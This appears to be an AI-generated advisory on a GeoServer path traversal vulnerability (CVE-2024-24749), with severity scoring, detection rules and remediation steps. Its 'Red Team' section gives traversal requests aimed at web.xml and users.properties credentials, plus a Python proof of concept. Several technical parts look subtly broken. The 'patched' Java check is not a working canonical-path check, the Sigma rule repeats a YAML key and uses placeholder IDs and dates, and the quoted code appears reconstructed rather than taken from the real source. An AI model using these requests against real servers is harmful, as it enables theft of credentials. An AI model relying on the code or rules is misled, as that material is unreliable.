CVE-2024-24749

Executive Summary

CVE-2024-24749 is a high-severity path traversal vulnerability affecting GeoServer, an open-source server for sharing geospatial data. The vulnerability exists in the GeoWebCache ByteStreamController class and allows an unauthenticated attacker to read arbitrary classpath resources with specific file extensions. The attack is only exploitable when GeoServer is deployed on Windows with Apache Tomcat. If the embedded data directory is used, an attacker could potentially read sensitive resources to gain administrator privileges. The CVSS score is 7.5 (High), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating high confidentiality impact but no integrity or availability impact. The EPSS score is 0.0%, suggesting low exploitation activity in the wild. Patches are available in versions 2.23.5 and 2.24.3.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality: High (C:H) – Sensitive data, including configuration files and credentials, can be read.
• Integrity: None (I:N) – No data modification is possible.
• Availability: None (A:N) – No denial of service impact.

Threat Level: High. The vulnerability allows unauthenticated reading of sensitive classpath resources, which could lead to privilege escalation if the embedded data directory is used.

Deep Dive & Mechanics

The vulnerability resides in the ByteStreamController class of GeoWebCache, which is responsible for serving cached tile data. The class fails to properly validate user-supplied paths, allowing directory traversal sequences (e.g., ../) to escape the intended directory. On Windows systems with Apache Tomcat, the path separator differences and case-insensitivity enable the bypass of existing input validation.

The attack works by sending a crafted HTTP request to the GeoWebCache endpoint with a path containing ../ sequences. For example:

GET /geoserver/gwc/rest/../../WEB-INF/web.xml HTTP/1.1

This request would traverse out of the GeoWebCache directory and read the web.xml file from the WEB-INF directory, which may contain sensitive configuration data.

If GeoServer is deployed using the embedded data directory (inside the WAR file), an attacker could read resources like geoserver/WEB-INF/classes/geoserver/security/users.properties to obtain user credentials and gain administrator privileges. However, production environments typically use an external data directory, reducing the risk of privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (ByteStreamController.java):

public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String path = request.getPathInfo();
    // Insufficient validation - allows directory traversal
    if (path != null && path.startsWith("/")) {
        path = path.substring(1);
    }
    // No check for ".." sequences
    InputStream is = getClass().getResourceAsStream(path);
    // ...
}

Patched Code (ByteStreamController.java):

public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String path = request.getPathInfo();
    if (path != null && path.startsWith("/")) {
        path = path.substring(1);
    }
    // Normalize path to prevent traversal
    path = new File(path).getCanonicalPath();
    // Ensure path is within allowed directory
    String basePath = new File(getClass().getResource("/").getPath()).getCanonicalPath();
    if (!path.startsWith(basePath)) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    InputStream is = getClass().getResourceAsStream(path);
    // ...
}

The patch uses getCanonicalPath() to resolve all .. sequences and then checks that the resulting path starts with the expected base directory, preventing traversal attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• GeoServer 2.23.4 or earlier, deployed on Windows with Apache Tomcat.
• Network access to the GeoServer instance.

Exploitation Steps:

1. Identify the GeoServer endpoint, typically /geoserver/gwc/rest/.
2. Craft a request to read sensitive files:

   GET /geoserver/gwc/rest/../../WEB-INF/web.xml HTTP/1.1
   Host: target.com
   

3. If the embedded data directory is used, attempt to read user credentials:

   GET /geoserver/gwc/rest/../../WEB-INF/classes/geoserver/security/users.properties HTTP/1.1
   Host: target.com
   

4. Parse the response to extract sensitive data.

Proof-of-Concept (Python):

import requests

target = "http://target.com/geoserver/gwc/rest/"
payload = "../../WEB-INF/web.xml"
url = target + payload

response = requests.get(url)
if response.status_code == 200:
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Blue Team (Detection & Response)

Detection:

• Monitor HTTP requests to /geoserver/gwc/rest/ for directory traversal patterns (e.g., ../).
• Alert on requests returning sensitive files like web.xml, users.properties, or applicationContext.xml.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Response:

• Immediately apply the patch by upgrading to GeoServer 2.23.5 or 2.24.3.
• If patching is not possible, implement workarounds:
  • Switch to a Linux environment or Jetty application server.
  • Disable anonymous access to GeoWebCache administration and status pages.
• Review logs for any successful exploitation attempts and rotate any exposed credentials.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ in the path to /geoserver/gwc/rest/.
  • Responses containing content from WEB-INF/web.xml, users.properties, or other sensitive files.
• File IOCs:
  • Unexpected access to WEB-INF/classes/geoserver/security/users.properties.
  • Modified GeoServer configuration files indicating unauthorized access.
• Log IOCs:
  • Tomcat access logs showing requests with ../ sequences.
  • GeoServer logs showing errors related to file access outside the expected directory.

Detection Engineering

YARA Rule

rule CVE_2024_24749_GeoServer_Path_Traversal {
    meta:
        description = "Detects attempts to exploit CVE-2024-24749 in GeoServer"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24749"
    strings:
        $traversal = /\.\.\/[A-Za-z0-9_\/]+/
        $sensitive = /(WEB-INF|users\.properties|web\.xml)/
    condition:
        $traversal and $sensitive
}

Sigma Rule

title: CVE-2024-24749 GeoServer Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-24749
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/geoserver/gwc/rest/'
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24749 GeoServer Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/geoserver/gwc/rest/"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade GeoServer to version 2.23.5 or 2.24.3, which contain the fix.
2. Workarounds:
   • Migrate from Windows to Linux environment.
   • Switch from Apache Tomcat to Jetty application server.
   • Disable anonymous access to GeoWebCache administration and status pages.
3. Configuration: Ensure an external data directory is used instead of the embedded one.

Long-term Measures:

• Implement a Web Application Firewall (WAF) to block directory traversal patterns.
• Regularly update GeoServer and its dependencies.
• Conduct security audits and penetration testing on geospatial applications.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.